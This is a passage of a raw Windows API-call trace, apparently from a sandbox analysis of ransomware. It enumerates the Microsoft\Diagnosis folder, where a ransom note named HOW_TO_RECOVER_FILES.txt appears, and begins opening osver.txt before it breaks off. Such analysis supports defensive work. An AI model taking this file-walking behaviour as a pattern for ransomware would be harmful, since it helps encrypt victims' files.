lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0137.805] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.806] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AsimovUploader", cAlternateFileName="ASIMOV~1")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedScenarios", cAlternateFileName="DOWNLO~1")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x38feb5cc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedSettings", cAlternateFileName="DOWNLO~2")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETLLogs", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_CostDeferred.rbs", cAlternateFileName="EVENTS~3.RBS")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b5e567a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b5e567a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x1000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Normal.rbs", cAlternateFileName="EVENTS~1.RBS")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_NormalCritical.rbs", cAlternateFileName="EVENTS~2.RBS")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x333333, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Realtime.rbs", cAlternateFileName="EVENTS~4.RBS")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a8f0da7, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a8f0da7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalTraceStore", cAlternateFileName="LOCALT~1")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a3dd985, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8a3dd985, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x28facbb4, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="osver.txt", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfbb1de, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8bfbb1de, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8bfbb1de, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parse.dat", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sideload", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Siufloc", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLanding", cAlternateFileName="SOFTLA~1")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLandingStage", cAlternateFileName="SOFTLA~2")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TenantStorage", cAlternateFileName="TENANT~1")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VortexSchemaRequests.dat", cAlternateFileName="VORTEX~1.DAT")) returned 1 [0137.816] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0137.816] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0137.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0137.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0137.816] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis", lpFilePart=0x0) returned 0x26 [0137.816] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a8f0da7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0137.816] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a8f0da7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.816] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AsimovUploader", cAlternateFileName="ASIMOV~1")) returned 1 [0137.817] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedScenarios", cAlternateFileName="DOWNLO~1")) returned 1 [0137.817] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x38feb5cc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedSettings", cAlternateFileName="DOWNLO~2")) returned 1 [0137.817] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETLLogs", cAlternateFileName="")) returned 1 [0137.817] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_CostDeferred.rbs", cAlternateFileName="EVENTS~3.RBS")) returned 1 [0137.817] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b5e567a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b5e567a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x1000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Normal.rbs", cAlternateFileName="EVENTS~1.RBS")) returned 1 [0137.817] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_NormalCritical.rbs", cAlternateFileName="EVENTS~2.RBS")) returned 1 [0137.817] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x333333, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events_Realtime.rbs", cAlternateFileName="EVENTS~4.RBS")) returned 1 [0137.818] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a8f0da7, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3a8f0da7, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a8f0da7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.818] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalTraceStore", cAlternateFileName="LOCALT~1")) returned 1 [0137.818] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a3dd985, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8a3dd985, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x28facbb4, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="osver.txt", cAlternateFileName="")) returned 1 [0137.818] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfbb1de, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8bfbb1de, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8bfbb1de, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parse.dat", cAlternateFileName="")) returned 1 [0137.818] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a06c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sideload", cAlternateFileName="")) returned 1 [0137.818] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Siufloc", cAlternateFileName="")) returned 1 [0137.818] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLanding", cAlternateFileName="SOFTLA~1")) returned 1 [0137.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftLandingStage", cAlternateFileName="SOFTLA~2")) returned 1 [0137.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd6b11c43, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd6b11c43, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TenantStorage", cAlternateFileName="TENANT~1")) returned 1 [0137.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VortexSchemaRequests.dat", cAlternateFileName="VORTEX~1.DAT")) returned 1 [0137.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VortexSchemaRequests.dat", cAlternateFileName="VORTEX~1.DAT")) returned 0 [0137.819] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0137.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0137.819] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt", nBufferLength=0x105, lpBuffer=0x10faab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt", lpFilePart=0x0) returned 0x30 [0137.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10faf80) returned 1 [0137.820] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\osver.txt"), fInfoLevelId=0x0, lpFileInformation=0x38d6978 | out: lpFileInformation=0x38d6978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a3dd985, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8a3dd985, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x28facbb4, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xa)) returned 1 [0137.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10faf40) returned 1 [0137.820] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt", nBufferLength=0x105, lpBuffer=0x10fa910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt", lpFilePart=0x0) returned 0x30 [0137.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fae30) returned 1 [0137.820] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\osver.txt" (normalized: "c:\\users\\all 